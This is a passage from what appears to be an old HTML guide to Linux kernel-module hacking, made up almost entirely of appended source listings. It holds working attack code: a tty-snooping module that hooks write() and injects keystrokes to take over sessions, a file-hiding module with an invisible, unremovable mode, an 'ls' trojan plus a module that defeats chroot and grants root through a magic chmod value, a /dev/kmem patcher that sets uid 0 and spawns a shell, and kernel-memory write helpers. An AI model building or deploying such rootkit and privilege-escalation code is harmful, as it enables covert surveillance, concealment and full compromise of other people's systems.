6431    MOD_INC_USE_COUNT;
6432    return 0;
6433 }
6434
6435 /* close the ltap device */
6436 static void linspy_close(struct inode *in, struct file *fi)
6437 {
6438    taken_over=0;
6439    tty_minor = -1;
6440    MOD_DEC_USE_COUNT;
6441 }
6442              
6443 /* some ioctl operations */
6444 static int
6445 linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
6446 {
6447 #define LS_SETMAJOR     0
6448 #define LS_SETMINOR     1
6449 #define LS_FLUSHBUF     2
6450 #define LS_TOGGLE       3
6451
6452    if(current->euid != 0) return -EIO;
6453    switch(cmd)
6454    {
6455       case LS_SETMAJOR:
6456          tty_major = args;
6457          queue_head = 0;
6458          queue_tail = 0;
6459          break;
6460       case LS_SETMINOR:
6461          tty_minor = args;
6462          queue_head = 0;
6463          queue_tail = 0;
6464          break;
6465      case LS_FLUSHBUF:
6466          queue_head=0;
6467          queue_tail=0;
6468          break;
6469      case LS_TOGGLE:
6470          if(taken_over) taken_over=0;
6471          else taken_over=1;
6472          break;
6473       default:
6474          return 1;
6475    }
6476    return 0;
6477 }
6478
6479
6480 static struct file_operations linspy = {
6481 NULL,
6482 linspy_read,
6483 NULL,
6484 NULL,
6485 NULL,
6486 linspy_ioctl,
6487 NULL, 
6488 linspy_open,
6489 linspy_close,
6490 NULL
6491 };
6492
6493
6494 /* init the loadable module */
6495 int init_module(void)
6496 {
6497    original_write = sys_call_table[SYS_write];
6498    sys_call_table[SYS_write] = new_write;
6499    if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
6500    return 0;
6501 }
6502
6503 /* cleanup module before being removed */
6504 void cleanup_module(void)
6505 {
6506    sys_call_table[SYS_write] = original_write;
6507    unregister_chrdev(linspy_major, "linspy");
6508 }
6509 <--> end linspy.c
6510 <++> linspy/ltread.c
6511 #include <stdio.h>
6512 #include <stdlib.h>
6513 #include <unistd.h>
6514 #include <termios.h>
6515 #include <string.h>
6516 #include <fcntl.h>
6517 #include <signal.h>
6518 #include <sys/types.h>
6519 #include <sys/stat.h>
6520 #include <sys/sysmacros.h>
6521
6522 struct termios save_termios;
6523 int ttysavefd = -1;
6524 int fd;
6525
6526 #ifndef DEVICE_NAME
6527 #define DEVICE_NAME "/dev/ltap"
6528 #endif
6529
6530 #define LS_SETMAJOR     0
6531 #define LS_SETMINOR     1
6532  
6533 #define LS_FLUSHBUF     2
6534 #define LS_TOGGLE       3
6535
6536 void stuff_keystroke(int fd, char key)
6537 {
6538    ioctl(fd, TIOCSTI, &key);
6539 }
6540
6541 int tty_cbreak(int fd)
6542 {
6543    struct termios buff;
6544    if(tcgetattr(fd, &save_termios) < 0)
6545       return -1;
6546    buff = save_termios;
6547    buff.c_lflag &= ~(ECHO | ICANON);
6548    buff.c_cc[VMIN] = 0;
6549    buff.c_cc[VTIME] = 0;
6550    if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
6551       return -1;
6552    ttysavefd = fd;
6553    return 0;
6554 }
6555
6556  char *get_device(char *basedevice)
6557 {
6558    static char devname[1024];
6559    int fd;
6560
6561    if(strlen(basedevice) > 128) return NULL;
6562    if(basedevice[0] == '/')
6563       strcpy(devname, basedevice);
6564    else
6565       sprintf(devname, "/dev/%s", basedevice);
6566    fd = open(devname, O_RDONLY);
6567    if(fd < 0) return NULL;
6568    if(!isatty(fd)) return NULL;
6569    close(fd);
6570    return devname;
6571 }
6572
6573
6574 int do_ioctl(char *device)
6575 {
6576    struct stat mystat;
6577
6578    if(stat(device, &mystat) < 0) return -1;
6579     fd = open(DEVICE_NAME, O_RDONLY);
6580    if(fd < 0) return -1;
6581    if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
6582    if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
6583 }
6584
6585
6586 void sigint_handler(int s)
6587 {
6588    exit(s);
6589 }
6590
6591 void cleanup_atexit(void)
6592 {
6593    puts(" ");
6594    if(ttysavefd >= 0)
6595       tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
6596 }
6597
6598 main(int argc, char **argv)
6599 {
6600    int my_tty;
6601    char *devname;
6602     unsigned char ch;
6603    int i;
6604
6605    if(argc != 2)
6606    {
6607       fprintf(stderr, "%s ttyname\n", argv[0]);
6608       fprintf(stderr, "ttyname should NOT be your current tty!\n");
6609       exit(0);
6610    }
6611    devname = get_device(argv[1]);
6612    if(devname == NULL)
6613    {
6614       perror("get_device");
6615       exit(0);
6616    }
6617    if(tty_cbreak(0) < 0)
6618    {
6619       perror("tty_cbreak");
6620       exit(0);
6621    }
6622    atexit(cleanup_atexit);
6623    signal(SIGINT, sigint_handler);
6624    if(do_ioctl(devname) < 0)
6625    {
6626       perror("do_ioctl");
6627       exit(0);
6628    }
6629    my_tty = open(devname, O_RDWR);
6630    if(my_tty == -1) exit(0);
6631    setvbuf(stdout, NULL, _IONBF, 0);
6632    printf("[now monitoring session]\n");
6633    while(1)
6634    {
6635       i = read(0, &ch, 1);
6636       if(i > 0)
6637       {
6638          if(ch == 24)
6639          {
6640             ioctl(fd, LS_TOGGLE, 0);
6641             printf("[Takeover mode toggled]\n");
6642          }
6643          else stuff_keystroke(my_tty, ch);
6644       }
6645       i = read(fd, &ch, 1);
6646       if(i > 0)
6647          putchar(ch);
6648     }
6649 }
6650 <--> end ltread.c
6651
6652
6653 EOF
6654 </xmp>
6655
6656 <H3><A NAME="A-e"></a>AFHRM - the monitor tool</h3>
6657
6658 <b>NAME</b>            : AFHRM ( Advanced file hide & redirect module)<br>
6659 <b>AUTHOR</b>          : <A HREF="mailto:lcamtuf@boss.staszic.waw.pl">Michal Zalewski</a><br>
6660 <b>DESCRIPTION</b>     : This LKM was made especially for admins who want to
6661                   control some files (passwd, for example) concerning
6662                   file access. This module can monitor any fileaccess and
6663                   redirect write attempts. It is also possible to do file
6664                   hiding.<br>
6665 <b>LINK</b>            : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
6666
6667
6668
6669
6670 <xmp>
6671 /*
6672    Advanced file hide & redirect module for Linux 2.0.xx / i386 
6673    ------------------------------------------------------------
6674       (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
6675 */
6676
6677 #define MODULE
6678 #define __KERNEL__
6679
6680 #include <linux/module.h>
6681 #include <linux/kernel.h>
6682 #include <asm/unistd.h>
6683 #include <sys/syscall.h>
6684 #include <sys/types.h>
6685 #include <asm/fcntl.h>
6686 #include <asm/errno.h>
6687 #include <linux/types.h>
6688 #include <linux/dirent.h>
6689 #include <sys/mman.h>
6690
6691 #if (!defined(__GLIBC__) || __GLIBC__ < 2)
6692 #include <sys/stat.h>
6693 #else
6694 #include <statbuf.h>            // What can I do?
6695 #endif
6696
6697 #include <linux/string.h>
6698 #include "broken-glibc.h"
6699 #include <linux/fs.h>
6700 #include <linux/malloc.h>
6701
6702 /* Hope that's free? */
6703 #define O_NOCHG     0x1000000
6704 #define O_ACCNOCHG  0x2000000
6705 #define O_STRICT    0x4000000
6706 #define O_STILL     0x8000000
6707
6708 #define M_MAIN      0x0ffffff
6709 #define M_MINOR     (M_MAIN ^ O_ACCMODE)
6710
6711 struct red {            // Redirections database entry.
6712   const char *src,*dst;
6713   const int flags,new_flags;
6714 };
6715
6716 struct red redir_table[]={
6717
6718 // Include user-specific choices :-)
6719 #include "config.h"
6720
6721 };
6722
6723 #define REDIRS sizeof(redir_table)/sizeof(struct red)
6724
6725 struct dat {            // Inode database entry.
6726   long ino,dev;
6727   int valid;
6728 };
6729
6730 int as_today,ohits,ghits,       // internal counters.
6731     uhits,lhits,rhits;
6732
6733 struct dat polozenie[REDIRS];   // Inodes database.
6734
6735 // Protos...
6736 int collect(void);
6737
6738 extern void* sys_call_table[];
6739
6740 // Old system calls handlers (for module removal).
6741 int (*stary_open)(const char *pathname, int flags, mode_t mode);
6742 int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
6743 int (*stary_link)(const char* oldname,const char* newname);
6744 int (*stary_unlink)(const char* name);
6745 int (*stary_rename)(const char* oldname,const char* newname);
6746
6747 int (*sys_stat)(void*,void*);
6748 int (*mybrk)(void*);
6749
6750
6751 // Ugly low-level hack - OH, HOW WE NEED IT :)))
6752 int mystat(const char* arg1,struct stat* arg2,char space) {
6753   unsigned long m1=0,m2;
6754   long __res;
6755   char* a1;
6756   struct stat* a2;
6757   if (!space) {
6758     // If needed, duplicate 1st argument to user space...
6759     m1=current->mm->brk;
6760     mybrk((void*)(m1+strlen(arg1)+1));
6761     a1=(char*)(m1+2);
6762     memcpy_tofs(a1,arg1,strlen(arg1)+1);
6763   } else a1=(char*)arg1;
6764   // Allocate space for 2nd argument...
6765   m2=current->mm->brk;
6766   mybrk((void*)(m2+sizeof(struct stat)));
6767   a2=(struct stat*)(m2+2);
6768   // Call stat(...)
6769   __res=sys_stat(a1,a2);
6770   // Copy 2nd argument back...
6771   memcpy_fromfs(arg2,a2,sizeof(struct stat));
6772   // Free memory.
6773   if (!space) mybrk((void*)m1); else mybrk((void*)m2);
6774   return __res;
6775 }
6776
6777 // New open(...) handler.
6778 extern int nowy_open(const char *pathname, int flags, mode_t mode) {
6779   int i=0,n;
6780   char zmieniony=0,*a1;
6781   struct stat buf;
6782   unsigned long m1=0;
6783   if (++as_today>INTERV) {
6784     as_today=0;
6785     collect();
6786   }
6787   if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
6788     && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6789     if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
6790     switch(flags) {
6791       case O_RDONLY:
6792         if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
6793         break;
6794       case O_WRONLY:
6795         if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
6796         break;
6797       default:
6798         if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
6799         n=0;
6800     }
6801 #ifdef DEBUG
6802     printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
6803     printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
6804     printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
6805 #endif
6806     ohits++;
6807     if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
6808       if (redir_table[i].dst) {
6809         flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
6810               (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
6811               (redir_table[i].new_flags & M_MAIN);
6812         /* User space trick */
6813         m1=current->mm->brk;
6814         mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
6815         a1=(char*)(m1+2);
6816         memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
6817         pathname=a1;
6818         zmieniony=1;
6819       } else return -ERR;
6820   }
6821   i=stary_open(pathname,flags,mode);
6822   if (zmieniony) mybrk((void*)m1);
6823   return i;
6824 }
6825
6826
6827 // New getdents(...) handler.
6828 int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
6829   int ret,n,t,i,dev;
6830   struct dirent *d2,*d3;
6831   ret=stary_getdents(fd,dirp,count);
6832   dev = (long)current->files->fd[fd]->f_inode->i_dev;
6833   if (ret>0) {
6834     d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
6835     memcpy_fromfs(d2,dirp,ret);
6836     d3=d2;
6837     t=ret;
6838     while (t>0) {
6839       n=d3->d_reclen;
6840       t-=n;
6841       for (i=0;i<REDIRS;i++)
6842         if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
6843             d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
6844 #ifdef DEBUG
6845           printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
6846                  redir_table[i].src,dev,d3->d_ino,ret,t);
6847 #endif
6848           ghits++;
6849           if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
6850           ret-=n;
6851         }
6852       if (!d3->d_reclen) { ret-=t;t=0; }
6853       if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
6854     }
6855     memcpy_tofs(dirp,d2,ret);
6856     kfree(d2);
6857   }
6858   return ret;
6859 }
6860
6861
6862 // New link(...) handler.
6863 extern int nowy_link(const char *oldname,const char *newname) {
6864   int i;
6865   struct stat buf;
6866   if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
6867      (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
6868      redir_table[i].flags | O_STILL ) &&
6869      (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6870 #ifdef DEBUG
6871     printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
6872            (long)*((char*)&buf.st_dev+4));
6873 #endif
6874        lhits++;
6875        if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
6876      }
6877   return stary_link(oldname,newname);
6878 }
6879
6880
6881 // New unlink(...) handler.
6882 extern int nowy_unlink(const char *name) {
6883   int i;
6884   struct stat buf;
6885   if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
6886      (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
6887      redir_table[i].flags | O_STILL ) &&
6888      (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6889 #ifdef DEBUG
6890     printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
6891            (long)*((char*)&buf.st_dev+4));
6892 #endif
6893        uhits++;
6894        if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
6895   }
6896   return stary_unlink(name);
6897 }
6898
6899
6900 // New rename(...) handler.
6901 extern int nowy_rename(const char *oldname, const char* newname) {
6902   int i;
6903   struct stat buf;
6904   if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
6905      (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
6906      redir_table[i].flags | O_STILL ) &&
6907      (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6908 #ifdef DEBUG
6909     printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
6910            (long)*((char*)&buf.st_dev+4));
6911 #endif
6912        rhits++;
6913        if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
6914   }
6915   return stary_rename(oldname,newname);
6916 }
6917
6918
6919 // Inode database rebuild procedure.
6920 int collect() {
6921   int x=0,i=0,err;
6922   struct stat buf;
6923 #ifdef DEBUG
6924   printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
6925 #endif
6926   for (;i<REDIRS;i++)
6927     if (!(err=mystat(redir_table[i].src,&buf,0))) {
6928       polozenie[i].valid=1;
6929       polozenie[i].dev=buf.st_dev;
6930       polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
6931 #ifdef DEBUG
6932   printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
6933          buf.st_dev,buf.st_ino);
6934 #endif
6935       x++;
6936     } else {
6937       polozenie[i].valid=0;
6938 #ifdef DEBUG
6939      printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
6940   }
6941   if (x!=REDIRS) {
6942     printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
6943 #endif
6944   }
6945   return x;
6946 }
6947
6948 // ********
6949 // MAINS :)
6950 // ********
6951
6952
6953 // Module startup.
6954 int init_module(void) {
6955 #ifdef HIDDEN
6956   register struct module *mp asm("%ebp");
6957 #endif
6958   int x;
6959   unsigned long flags;
6960   save_flags(flags);
6961   cli();                        // To satisfy kgb ;-)
6962 #ifdef HIDDEN
6963   *(char*)(mp->name)=0;
6964   mp->size=0;
6965   mp->ref=0;
6966 #endif
6967 #ifdef VERBOSE
6968   printk("AFHRM_INIT: Version " VERSION " starting.\n");
6969 #ifdef HIDDEN
6970   register_symtab(0);
6971   printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
6972 #endif
6973   printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
6974 #endif
6975   sys_stat=sys_call_table[__NR_stat];
6976   mybrk=sys_call_table[__NR_brk];
6977   x=collect();
6978   stary_open=sys_call_table[__NR_open];
6979   stary_getdents=sys_call_table[__NR_getdents];
6980   stary_link=sys_call_table[__NR_link];
6981   stary_unlink=sys_call_table[__NR_unlink];
6982   stary_rename=sys_call_table[__NR_rename];
6983 #ifdef VERBOSE
6984   printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
6985   printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
6986          (int)nowy_getdents);
6987   printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
6988   printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
6989          (int)nowy_unlink);
6990   printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
6991          (int)nowy_rename);
6992 #endif
6993   sys_call_table[__NR_open]=nowy_open;
6994   sys_call_table[__NR_getdents]=nowy_getdents;
6995   sys_call_table[__NR_link]=nowy_link;
6996   sys_call_table[__NR_unlink]=nowy_unlink;
6997   sys_call_table[__NR_rename]=nowy_rename;
6998 #ifdef VERBOSE
6999   printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
7000 #endif
7001   restore_flags(flags);
7002   return 0;
7003 }
7004
7005
7006 // Module shutdown...
7007 void cleanup_module(void) {
7008   unsigned long flags;
7009   save_flags(flags);
7010   cli();                        // To satisfy kgb ;-)
7011 #ifdef VERBOSE
7012   printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
7013 #endif
7014   sys_call_table[__NR_open]=stary_open;
7015   sys_call_table[__NR_getdents]=stary_getdents;
7016   sys_call_table[__NR_link]=stary_link;
7017   sys_call_table[__NR_unlink]=stary_unlink;
7018   sys_call_table[__NR_rename]=stary_rename;
7019 #ifdef VERBOSE
7020   printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
7021          ohits,ghits,lhits,uhits,rhits);
7022 #endif
7023   restore_flags(flags);
7024 }
7025 </xmp>
7026
7027 <H3><A NAME="A-f"></a>CHROOT module trick</h3>
7028
7029 <b>NAME</b>            : chr.c<br>
7030 <b>AUTHOR</b>          : FLoW/HISPAHACK<br>
7031 <b>DESCRIPTION</b>     : The first source represents the ls 'trojan'. The second one
7032                   represents the actual module which is doing the chroot trick.<br>
7033 <b>LINK</b>            : <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
7034
7035
7036 <xmp>
7037 /*LS 'TROJAN'*/
7038 /* Sustituto para el "ls" de un ftp restringido.
7039  * Carga el modulo del kernel chr.o
7040  * FLoW - !H'98
7041  */
7042
7043 #include <stdio.h>
7044 #include <sys/wait.h>
7045
7046 main()
7047 {
7048 int estado;
7049
7050 printf("UID: %i EUID: %i\n",getuid(),geteuid());
7051 printf("Cambiando EUID...\n");
7052
7053 setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */
7054
7055 printf("UID: %i EUID: %i\n",getuid(),geteuid());
7056
7057 switch(fork())
7058 {
7059 case -1: printf("Error creando hijo.\n");
7060 case  0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
7061          printf("Error ejecutando insmod.\n");
7062          exit(1);
7063 default: printf("Cargando modulo chroot...\n");
7064          wait(&estado);
7065          if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0) 
7066            printf("Modulo cargado!\n");
7067          else
7068            printf("Error cargando modulo.\n");
7069          break;
7070 }
7071 }
7072
7073
7074
7075 /* Modulo del kernel para anular un chroot() y "retocar" chmod()
7076  * FLoW - !H'98
7077  * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
7078  */
7079
7080 #include <linux/fs.h>
7081 #include <linux/module.h>
7082 #include <linux/malloc.h>
7083 #include <linux/unistd.h>
7084 #include <sys/syscall.h>
7085
7086 #include <linux/dirent.h>
7087 #include <linux/proc_fs.h>
7088 #include <stdlib.h>
7089
7090
7091 static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
7092 static inline _syscall1(int, setuid, uid_t, uid);
7093  
7094 extern void *sys_call_table[];
7095
7096 int (*original_chroot)(const char *, const char*); 
7097 int (*original_chmod)(const char *, mode_t);
7098 int (*original_setuid)(uid_t);
7099
7100 int hacked_chmod(const char *path, mode_t mode)
7101 {
7102 int err;
7103
7104 if(mode==83) { /* chmod 123 XXX */
7105   (*original_setuid)(0);
7106   err=(*original_chmod)(path, 511); /* chmod 777 XXX */
7107   }
7108
7109 else {
7110   err=(*original_chmod)(path, mode);
7111   }
7112   
7113 return(err);
7114 }
7115
7116 int hacked_chroot(const char *path, const char *cmd)
7117 {
7118         return(0);
7119 }
7120
7121 int init_module(void)
7122 {
7123         original_setuid = sys_call_table[SYS_setuid];
7124         original_chroot = sys_call_table[SYS_chroot];
7125         sys_call_table[SYS_chroot] = hacked_chroot;
7126         original_chmod = sys_call_table[SYS_chmod];
7127         sys_call_table[SYS_chmod] = hacked_chmod;
7128         return(0);
7129 }
7130
7131 void cleanup_module(void)
7132 {
7133         sys_call_table[SYS_chroot] = original_chroot;
7134         sys_call_table[SYS_chmod] = original_chmod;
7135 }
7136 </xmp>
7137
7138
7139 <H3><A NAME="A-g"></a>Kernel Memory Patching</h3>
7140
7141 <b>NAME</b>            : kmemthief.c<br>
7142 <b>AUTHOR</b>          : unknown (I really tried to find out, but I found no comments)
7143                   I found a similar source by daemon9 who took it from 'Unix
7144                   Security: A practical tutorial'<br>
7145 <b>DESCRIPTION</b>     : This is a 'standard' kmem patcher, which gives you root (your
7146                   user process). The system you try to exploit must permit write
7147                   and read access to /dev/kmem. There are some systems that make
7148                   that fault but don't rely on that.<br>
7149 <b>LINK</b>            : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
7150
7151
7152
7153 <xmp>
7154 /*   
7155    kmem_thief
7156    compile as follows:
7157    cc -O kmem_thief.c -ld -o kmem_thief
7158 */
7159 #include <stdio.h>
7160 #include <fcntl.h>
7161 #include <sys/signal.h>
7162 #include <sys/param.h>
7163 #include <sys/types.h>
7164 #include <sys/dir.h>
7165 #include <sys/user.h>
7166
7167 struct user userpage;
7168 long address(), userlocation;
7169
7170 int main(argc, argv, envp)
7171         int argc;
7172         char *argv[], *envp[];
7173 {
7174         int count, fd;
7175         long where, lseek();
7176         fd = open( "/dev/kmem",O_RDWR);
7177         if(fd < 0)
7178         {
7179                 printf("Could not open /dev/kmem.\n");
7180                 perror(argv);
7181                 exit(10);
7182         }
7183         userlocation = address();
7184         where = lseek(fd, userlocation, 0);
7185         if(where != userlocation)
7186         {
7187                 printf("Could not seek to user page.\n");
7188                 perror(argv);
7189                 exit(20);
7190         }
7191         count = read(fd, &userpage, sizeof(struct user));
7192         if(count != sizeof(struct user))
7193         {
7194                 printf("Could not read user page.\n");
7195                 perror(argv);
7196                 exit(30);
7197         }
7198         printf(" Current uid is %d\n", userpage.u_ruid);
7199         printf(" Current gid is %d\n", userpage.u_rgid);
7200         printf(" Current euid is %d\n", userpage.u_uid);
7201         printf(" Current egid is %d\n", userpage.u_gid);
7202         userpage.u_ruid = 0;
7203         userpage.u_rgid = 0;
7204         userpage.u_uid = 0;
7205         userpage.u_gid = 0;
7206         where = lseek(fd, userlocation, 0);
7207         if(where != userlocation)
7208         {
7209                 printf("Could not seek to user page.\n");
7210                 perror(argv);
7211                 exit(40);
7212         }
7213         write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
7214         execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
7215 }
7216
7217 # include <filehdr.h>
7218 # include <syms.h>
7219 # include <ldfcn.h>
7220
7221 # define LNULL ( (LDFILE *)0 )
7222
7223 long    address ()
7224 {
7225         LDFILE  *object;
7226         SYMENT  symbol;
7227         long    idx;
7228         object = ldopen( "/unix", LNULL );
7229         if( object == LNULL ) {
7230                 fprintf( stderr, "Could not open /unix.\n" );
7231                 exit( 50 );
7232         }
7233         for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
7234                 if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
7235                         fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
7236                         ldclose( object );
7237                         return( symbol.n_value );
7238                 }
7239         }
7240         fprintf( stderr, "Could not read symbols in /unix.\n");
7241         exit( 60 );
7242 }
7243 </xmp>
7244
7245
7246 <H3><A NAME="A-h"></a>Module insertion without native support</h3>
7247
7248 <b>NAME</b>            : kinsmod.c<br>
7249 <b>AUTHOR</b>          : <A HREF="mailto:silvio@big.net.au">Silvio Cesare</a><br>
7250 <b>DESCRIPTION</b>     : This is a very nice program which allows us to insert LKMs
7251                   on system with no native module support.<br>
7252 <b>LINK</b>            : found it by a search on <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
7253
7254
7255
7256 <xmp>
7257 /**********needed include file*/
7258 #ifndef KMEM_H
7259 #define KMEM_H
7260
7261 #include <linux/module.h>
7262 #include <unistd.h>
7263 #include <fcntl.h>
7264
7265 /*
7266         these functions are anologous to standard file routines.
7267 */
7268
7269 #define kopen(mode) open("/dev/kmem", (mode))
7270 #define kclose(kd) close((kd))
7271
7272 ssize_t kread(int kd, int pos, void *buf, size_t size);
7273 ssize_t kwrite(int kd, int pos, void *buf, size_t size);
7274
7275 /*
7276         ksyms initialization and cleanup
7277 */
7278
7279 int ksyms_init(const char *map);
7280 void ksyms_cleanup(void);
7281
7282 /*
7283         print the ksym table
7284 */
7285
7286 void ksyms_print(void);
7287
7288 /*
7289         return the ksym of name 'name' or NULL if no symbol exists
7290 */
7291
7292 struct kernel_sym *ksyms_find(const char *name);
7293
7294 #endif
7295
7296
7297 /**********KMEM functions*/
7298 #include <stdio.h>
7299 #include <stdlib.h>
7300 #include <ctype.h>
7301 #include <string.h>
7302 #include <unistd.h>
7303 #include <fcntl.h>
7304 #include <stdio.h>
7305 #include <linux/module.h>
7306 #include <linux/unistd.h>
7307 #include "kmem.h"
7308
7309 struct ksymlist {
7310         struct ksymlist*        next;
7311         struct kernel_sym       ksym;
7312 };
7313
7314 struct ksymlisthead {
7315         struct ksymlist*        next;
7316 };
7317
7318 /*
7319         the hash size must be an integral power of two
7320 */
7321
7322 #define KSYM_HASH_SIZE  512
7323
7324 struct ksymlisthead ksymhash[KSYM_HASH_SIZE];
7325
7326 /*
7327         these functions are anologous to standard file routines.
7328 */
7329
7330 ssize_t kread(int kd, int pos, void *buf, size_t size)
7331 {
7332         int retval;
7333
7334         retval = lseek(kd, pos, SEEK_SET);
7335         if (retval != pos) return retval;
7336
7337         return read(kd, buf, size);
7338 }
7339
7340 ssize_t kwrite(int kd, int pos, void *buf, size_t size)
7341 {
7342         int retval;
7343
7344         retval = lseek(kd, pos, SEEK_SET);
7345         if (retval != pos) return retval;
7346
7347         return write(kd, buf, size);
7348 }
7349
7350 void ksyms_print(void)
7351 {
7352         int i;
7353
7354         for (i = 0; i < KSYM_HASH_SIZE; i++) {
7355                 struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
7356                 struct ksymlist *current = ksymhash[i].next;
7357
7358                 while (current != head) {
7359                         printf(
7360                                 "name: %s addr: %lx\n",
7361                                 current->ksym.name,
7362                                 current->ksym.value
7363                         );
7364                         current = current->next;
7365                 }
7366         }
7367 }
7368
7369 void ksyms_cleanup(void)
7370 {
7371         int i;
7372
7373         for (i = 0; i < KSYM_HASH_SIZE; i++) {
7374                 struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
7375                 struct ksymlist *current = head->next;
7376
7377                 while (current != head) {
7378                         struct ksymlist *next = current->next;
7379
7380                         free(current);
7381                         current = next;
7382                 }
7383         }
7384 }
7385
7386 int hash(const char *name)
7387 {
7388         unsigned long h;
7389         const char *p;
7390
7391         for (h = 0, p = name; *p; h += (unsigned char)*p, p++);
7392
7393         return h & (KSYM_HASH_SIZE - 1);
7394 }
7395
7396 int ksyminsert(struct kernel_sym *ksym)
7397 {
7398         struct ksymlist *node;
7399         struct ksymlisthead *head;
7400
7401         node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
7402         if (node == NULL) return -1;
7403
7404         head = &ksymhash[hash(ksym->name)];
7405
7406         memcpy(&node->ksym, ksym, sizeof(*ksym));
7407
7408         node->next = (struct ksymlist *)head->next;
7409         head->next = node;
7410
7411         return 0;
7412 }
7413
7414 int ksyms_init(const char *map)
7415 {
7416         char s[512];
7417         FILE *f;
7418         int i;
7419
7420         for (i = 0; i < KSYM_HASH_SIZE; i++)
7421                 ksymhash[i].next = (struct ksymlist *)&ksymhash[i];
7422
7423         f = fopen(map, "r");
7424         if (f == NULL) return -1;
7425
7426         while (fgets(s, sizeof(s), f) != NULL) {
7427                 struct kernel_sym ksym;
7428                 char *n, *p;
7429
7430                 ksym.value = strtoul(s, &n, 16);
7431                 if (n == s || *n == 0) goto error;
7432
7433                 p = n;
7434                 while (*p && isspace(*p)) ++p;
